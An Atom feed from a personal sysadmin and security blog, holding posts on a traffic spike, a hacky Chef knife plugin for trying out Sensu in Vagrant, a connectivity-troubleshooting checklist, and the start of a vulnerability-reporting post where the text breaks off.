<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2565872683381073040</id><updated>2025-08-13T14:18:06.072+01:00</updated><category term="bash"/><category term="linux"/><category term="security"/><category term="information security"/><category term="programming"/><category term="python"/><category term="visualisation"/><category term="array"/><category term="firewall"/><category term="graphviz"/><category term="passphrase"/><category term="passwords"/><category term="ruby"/><category term="ssh"/><category term="sshd"/><category term="ubuntu"/><category term="MSB"/><category term="R"/><category term="adobe"/><category term="advice"/><category term="advise"/><category term="asking for help"/><category term="auth.log"/><category term="blog"/><category term="buffer"/><category term="car"/><category term="chef"/><category term="connectivity"/><category term="crc"/><category term="crc16"/><category term="cryptography"/><category term="devops"/><category term="dictionary"/><category term="disclosure"/><category term="email"/><category term="employment"/><category term="exploit"/><category term="geek"/><category term="graphs"/><category term="hacking"/><category term="hackinig"/><category term="hash"/><category term="histogram"/><category term="infosec"/><category term="key logger"/><category term="knife"/><category term="long tail"/><category term="maslow hierarchy of needs"/><category term="modulo"/><category term="monitoring"/><category term="monte carlo"/><category term="most significant bit"/><category term="motivation"/><category term="network"/><category term="networking"/><category term="obscurity"/><category term="off topic"/><category term="oop"/><category term="opsec"/><category term="overflow"/><category term="pass phrase"/><category term="password"/><category term="pdf"/><category term="perl"/><category term="plugin"/><category term="principles"/><category term="psychology"/><category term="random"/><category term="randomness"/><category term="root"/><category term="scratch"/><category term="screen"/><category term="scripting"/><category term="sensu"/><category term="sniffing"/><category term="spam"/><category term="stack"/><category term="statistics"/><category term="sudo"/><category term="systems"/><category term="traffic"/><category term="tricks"/><category term="trojan"/><category term="viral"/><category term="volvo"/><category term="vulnerability"/><title type='text'>0x10 - Security, sysadmin and stuff</title><subtitle type='html'>Random little projects etc.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>31</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-834951483432662125</id><published>2014-03-27T09:45:00.000+00:00</published><updated>2014-03-27T09:45:03.982+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bash"/><category scheme="http://www.blogger.com/atom/ns#" term="blog"/><category scheme="http://www.blogger.com/atom/ns#" term="long tail"/><category scheme="http://www.blogger.com/atom/ns#" term="traffic"/><category scheme="http://www.blogger.com/atom/ns#" term="viral"/><title type='text'>When long tail meets viral</title><content type='html'>Well, not really viral, just busier than expected.&lt;br /&gt;
&lt;br /&gt;
Here is a screenshot showing all time traffic stats for this blog.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMb99IIN4IGpKzxdPGZVv1mE_zdKgF4G4MNfS6RYCuOiAhvYgSiw4uVMqw3slvQ9BwkH1TLRta4cVzG0yXTZEe0qFGHHaLCDKB2MVbdKJ33z99ZaAWB4CCi3b-ubaknRKt7ySGRULVx5M/s1600/Screen+Shot+2014-03-27+at+09.35.38.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMb99IIN4IGpKzxdPGZVv1mE_zdKgF4G4MNfS6RYCuOiAhvYgSiw4uVMqw3slvQ9BwkH1TLRta4cVzG0yXTZEe0qFGHHaLCDKB2MVbdKJ33z99ZaAWB4CCi3b-ubaknRKt7ySGRULVx5M/s1600/Screen+Shot+2014-03-27+at+09.35.38.png&quot; height=&quot;246&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
The absolute traffic volume of this blog isn&#39;t very exciting (nor very high). As you probably noticed, what is interesting is the recent spike in traffic. This isn&#39;t for a recent post that went modestly &quot;viral&quot;, it is a 4 year old post. Out of the blue, for no apparent reason, the &lt;a href=&quot;http://blog.0x10.co.uk/2011/02/10-useful-little-bash-tricks.html&quot;&gt;10 useful little bash tricks&lt;/a&gt;&amp;nbsp;post has become the most popular post on this blog by far. Huh.</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/834951483432662125/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2014/03/when-long-tail-meets-viral.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/834951483432662125'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/834951483432662125'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2014/03/when-long-tail-meets-viral.html' title='When long tail meets viral'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMb99IIN4IGpKzxdPGZVv1mE_zdKgF4G4MNfS6RYCuOiAhvYgSiw4uVMqw3slvQ9BwkH1TLRta4cVzG0yXTZEe0qFGHHaLCDKB2MVbdKJ33z99ZaAWB4CCi3b-ubaknRKt7ySGRULVx5M/s72-c/Screen+Shot+2014-03-27+at+09.35.38.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-1390494155456180022</id><published>2013-11-01T17:24:00.002+00:00</published><updated>2013-11-01T17:27:57.365+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="chef"/><category scheme="http://www.blogger.com/atom/ns#" term="devops"/><category scheme="http://www.blogger.com/atom/ns#" term="knife"/><category scheme="http://www.blogger.com/atom/ns#" term="monitoring"/><category scheme="http://www.blogger.com/atom/ns#" term="sensu"/><title type='text'>Dirty, dirty devops</title><content type='html'>No this isn&#39;t an opinionated rant about devops culture or anything. Its just a hacky knife plugin that lets me play with Sensu quickly.&lt;br /&gt;
&lt;br /&gt;
I want to play with&amp;nbsp;&lt;a href=&quot;http://sensuapp.org/&quot;&gt;http://sensuapp.org/&lt;/a&gt;&amp;nbsp;as an alternative to Nagios and Zabbix etc. I&#39;ve already got a nice git repo full of our cookbooks etc, but I don&#39;t want to go near them. I don&#39;t want to even risk messing up master etc.&lt;br /&gt;
&lt;br /&gt;
Note: This assumes you have a chef workstation set up with knife available etc.&lt;br /&gt;
&lt;br /&gt;
Anyway, I wrote this tiny little knife plugin that just calls a couple of bash commands:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;require &#39;chef/knife&#39;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;# other require attributes, as needed&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;module Sandbox&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; class SandboxInit &amp;lt; Chef::Knife&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; deps do&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; end&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; banner &quot;knife sandbox init (options)&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; def run&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; puts &quot;Creating chef repo as chef-repo&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; system(&quot;git clone git://github.com/opscode/chef-repo.git&quot;)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; puts &quot;Creating .chef dir&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; system(&quot;mkdir chef-repo/.chef&quot;)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; puts &quot;Creating knife config file&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; system(&quot;echo &#39;current_dir = File.dirname(__FILE__)\ncookbook_path [\&quot;\#{current_dir}/../cookbooks\&quot;]&#39; &amp;gt; chef-repo/.chef/knife.rb&quot;)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; puts &quot;Done. You can know cd into chef-repo, run knife cookbook site install BLAH and use vagrant etc&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; end&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp; end&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;end&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
See what I mean with hacky? Eww. Anyway, stick this file in&amp;nbsp;&lt;b&gt;~/.chef/plugins/knife/&lt;/b&gt;&amp;nbsp;then you can use it as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$ mkdir playing-around&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$ cd playing-around&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$ knife sandbox init&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;WARNING: No knife configuration file found&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Creating chef repo as chef-repo&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Cloning into &#39;chef-repo&#39;...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;remote: Counting objects: 223, done.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;remote: Compressing objects: 100% (139/139), done.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;remote: Total 223 (delta 80), reused 178 (delta 49)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Receiving objects: 100% (223/223), 38.14 KiB | 0 bytes/s, done.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Resolving deltas: 100% (80/80), done.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Checking connectivity... done&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Creating .chef dir&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Creating knife config file&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Done. You can know cd into chef-repo, run knife cookbook site install BLAH and use vagrant etc&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$ cd chef-repo&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Now you can follow the instructions here&amp;nbsp;&lt;a href=&quot;https://github.com/sensu/sensu-chef&quot;&gt;https://github.com/sensu/sensu-chef&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$&amp;nbsp;knife cookbook site install sensu&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$ cd&amp;nbsp;cookbooks/sensu/examples&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$ bundle install&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$&amp;nbsp;librarian-chef install&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$ vagrant up&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Bringing machine &#39;default&#39; up with &#39;virtualbox&#39; provider...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[default] Importing base box &#39;opscode-ubuntu-13.04&#39;...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[default] Matching MAC address for NAT networking...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[default] Clearing any previously set forwarded ports...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[default] Creating shared folders metadata...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[default] Clearing any previously set network interfaces...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[default] Preparing network interfaces based on configuration...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[default] Forwarding ports...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[default] -- 22 =&amp;gt; 2222 (adapter 1)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[default] -- 8080 =&amp;gt; 8080 (adapter 1)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[default] Running &#39;pre-boot&#39; VM customizations...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[default] Booting VM...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[default] Waiting for machine to boot. This may take a few minutes...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[default] Machine booted and ready!&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[2013-11-01T17:16:35+00:00] INFO: Chef Run complete in 227.664146883 seconds&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[2013-11-01T17:16:35+00:00] INFO: Running report handlers&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[2013-11-01T17:16:35+00:00] INFO: Report handlers complete&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;[2013-11-01T17:12:47+00:00] INFO: Forking chef instance to converge...&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
We now have a machine that should have Sensu on it:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$ vagrant ssh&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Welcome to Ubuntu 13.04 (GNU/Linux 3.8.0-19-generic x86_64)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&amp;nbsp;* Documentation: &amp;nbsp;https://help.ubuntu.com/&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;94 packages can be updated.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;55 updates are security updates.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;New release &#39;13.10&#39; available.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Run &#39;do-release-upgrade&#39; to upgrade to it.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;Last login: Sun May 12 22:41:29 2013 from 10.0.2.2&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;vagrant@vagrant:~$ ps -ef | grep sens&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;sensu &amp;nbsp; &amp;nbsp; 6097 &amp;nbsp; &amp;nbsp; 1 &amp;nbsp;0 17:16 ? &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;00:00:00 /opt/sensu/embedded/bin/ruby /opt/sensu/bin/sensu-server -b -c /etc/sensu/config.json -d /etc/sensu/conf.d -e /etc/sensu/extensions -p /var/run/sensu/sensu-server.pid -l /var/log/sensu/sensu-server.log -L info&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;sensu &amp;nbsp; &amp;nbsp; 6154 &amp;nbsp; &amp;nbsp; 1 &amp;nbsp;0 17:16 ? &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;00:00:00 /opt/sensu/embedded/bin/ruby /opt/sensu/bin/sensu-api -b -c /etc/sensu/config.json -d /etc/sensu/conf.d -e /etc/sensu/extensions -p /var/run/sensu/sensu-api.pid -l /var/log/sensu/sensu-api.log -L info&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;sensu &amp;nbsp; &amp;nbsp; 6211 &amp;nbsp; &amp;nbsp; 1 &amp;nbsp;0 17:16 ? &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;00:00:00 /opt/sensu/embedded/bin/ruby /opt/sensu/bin/sensu-dashboard -b -c /etc/sensu/config.json -d /etc/sensu/conf.d -e /etc/sensu/extensions -p /var/run/sensu/sensu-dashboard.pid -l /var/log/sensu/sensu-dashboard.log -L info&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;sensu &amp;nbsp; &amp;nbsp; 6276 &amp;nbsp; &amp;nbsp; 1 &amp;nbsp;0 17:16 ? &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;00:00:00 /opt/sensu/embedded/bin/ruby /opt/sensu/bin/sensu-client -b -c /etc/sensu/config.json -d /etc/sensu/conf.d -e /etc/sensu/extensions -p /var/run/sensu/sensu-client.pid -l /var/log/sensu/sensu-client.log -L info&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;vagrant &amp;nbsp; 6740 &amp;nbsp;6651 &amp;nbsp;0 17:21 pts/0 &amp;nbsp; &amp;nbsp;00:00:00 grep --color=auto sens&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Woot. You can even browse the dashboard on http://localhost:8080 (username is admin and the password is secret).&lt;br /&gt;
&lt;br /&gt;
When you&#39;re done, you can quickly clean up after yourself:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$ vagrant destroy&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$ cd&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;$ rm -rf playing-around&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/1390494155456180022/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2013/11/dirty-dirty-devops.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/1390494155456180022'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/1390494155456180022'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2013/11/dirty-dirty-devops.html' title='Dirty, dirty devops'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-715227279683310544</id><published>2013-10-25T10:33:00.001+01:00</published><updated>2013-10-25T10:36:11.684+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="advise"/><category scheme="http://www.blogger.com/atom/ns#" term="asking for help"/><category scheme="http://www.blogger.com/atom/ns#" term="connectivity"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="networking"/><category scheme="http://www.blogger.com/atom/ns#" term="systems"/><title type='text'>How to ask about connectivity issues</title><content type='html'>So you&#39;re trying to connect one system to another using this newfangled TCP/IP stuff the kids are using these days. But what&#39;s this? It doesn&#39;t work? You need to ask someone to look into it. You even know who. But what should you ask and what information should you provide so that they can investigate quickly and effectively?&lt;br /&gt;
&lt;br /&gt;
As well as a bit of background to the problem (applications involved, environments etc), you should provide at least the following:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Has it ever worked?&lt;/li&gt;
&lt;li&gt;Have you changed anything recently?&lt;/li&gt;
&lt;li&gt;Source IP&lt;/li&gt;
&lt;li&gt;Destination IP&lt;/li&gt;
&lt;li&gt;Protocol (TCP or UDP etc) if it isn&#39;t obvious from the context&lt;/li&gt;
&lt;li&gt;Port if it isn&#39;t obvious from the context&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Common causes are:&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Wrong information - are you connecting to the right host?&lt;/li&gt;
&lt;li&gt;Routing&lt;/li&gt;
&lt;li&gt;Firewalls&lt;/li&gt;
&lt;li&gt;Network or system outages&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Have you tried the following?&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Doing a host, dig or nslookup if dealing with a domain&lt;/li&gt;
&lt;li&gt;Pinging the remote host&lt;/li&gt;
&lt;li&gt;Connecting using netcat or telnet&lt;/li&gt;
&lt;li&gt;Traceroute&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
It is probably worth providing the output to the above commands if possible.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://zeroxten.blogspot.com/feeds/715227279683310544/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://zeroxten.blogspot.com/2013/10/how-to-ask-about-connectivity-issues.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/715227279683310544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2565872683381073040/posts/default/715227279683310544'/><link rel='alternate' type='text/html' href='http://zeroxten.blogspot.com/2013/10/how-to-ask-about-connectivity-issues.html' title='How to ask about connectivity issues'/><author><name>zeroXten</name><uri>http://www.blogger.com/profile/09001210975833891703</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2565872683381073040.post-8915865849633019357</id><published>2013-08-16T00:05:00.001+01:00</published><updated>2013-08-19T14:44:24.371+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="disclosure"/><category scheme="http://www.blogger.com/atom/ns#" term="hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability"/><title type='text'>How do I report a vulnerability?</title><content type='html'>Hanging out in the ##security IRC channel on Freenode you see a number of reoccurring topics. One of them is when someone says they&#39;ve found a vulnerability, often in some website, and want suggestions on what to do next. So, I present to you:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: #cc0000; font-family: Arial, Helvetica, sans-serif; font-size: x-large;&quot;&gt;&lt;b&gt;&lt;a href=&quot;http://howdoireportavuln.com/&quot;&gt;http://howdoireportavuln.com&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: #cc0000; font-family: Arial, Helvetica, sans-serif; font-size: x-large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
